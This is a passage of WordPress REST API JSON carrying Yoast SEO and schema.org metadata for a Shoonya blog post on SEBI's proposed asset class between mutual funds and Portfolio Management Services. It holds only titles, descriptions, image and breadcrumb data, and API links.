investors.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"SEBI Proposes New Asset Class Linking Mutual Funds and PMS\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Investing\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Mutual Funds\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/investing\\\/mutual-funds\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"SEBI Proposes New Asset Class| Aims to Bridge Mutual Funds and PMS\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SEBI Seeks Feedback on New Asset Class Linking MFs and PMS","description":"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for investors.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/new-asset-class\/","og_locale":"en_US","og_type":"article","og_title":"SEBI Seeks Feedback on New Asset Class Linking MFs and PMS","og_description":"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for investors.","og_url":"https:\/\/shoonya.com\/blog\/new-asset-class\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2024-07-17T08:07:55+00:00","article_modified_time":"2026-08-19T05:44:52+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"SEBI Seeks Feedback on New Asset Class Linking MFs and PMS","twitter_description":"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for investors.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"SEBI Proposes New Asset Class| Aims to Bridge Mutual Funds and PMS","datePublished":"2024-07-17T08:07:55+00:00","dateModified":"2026-08-19T05:44:52+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/"},"wordCount":727,"image":{"@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg","keywords":["mfs and pms","new asset class","sebi news","sebi proposes new asset class"],"articleSection":["Mutual Funds","News"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/","url":"https:\/\/shoonya.com\/blog\/new-asset-class\/","name":"SEBI Seeks Feedback on New Asset Class Linking MFs and PMS","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg","datePublished":"2024-07-17T08:07:55+00:00","dateModified":"2026-08-19T05:44:52+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for investors.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/new-asset-class\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg","width":1920,"height":1080,"caption":"SEBI Proposes New Asset Class Linking Mutual Funds and PMS"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/new-asset-class\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Investing","item":"https:\/\/shoonya.com\/blog\/investing\/"},{"@type":"ListItem","position":3,"name":"Mutual Funds","item":"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/"},{"@type":"ListItem","position":4,"name":"SEBI Proposes New Asset Class| Aims to Bridge Mutual Funds and PMS"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/8283","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=8283"}],"version-history":[{"count":5,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/8283\/revisions"}],"predecessor-version":[{"id":18333,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/8283\/revisions\/18333"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/8284"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=8283"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=8283"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=8283"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}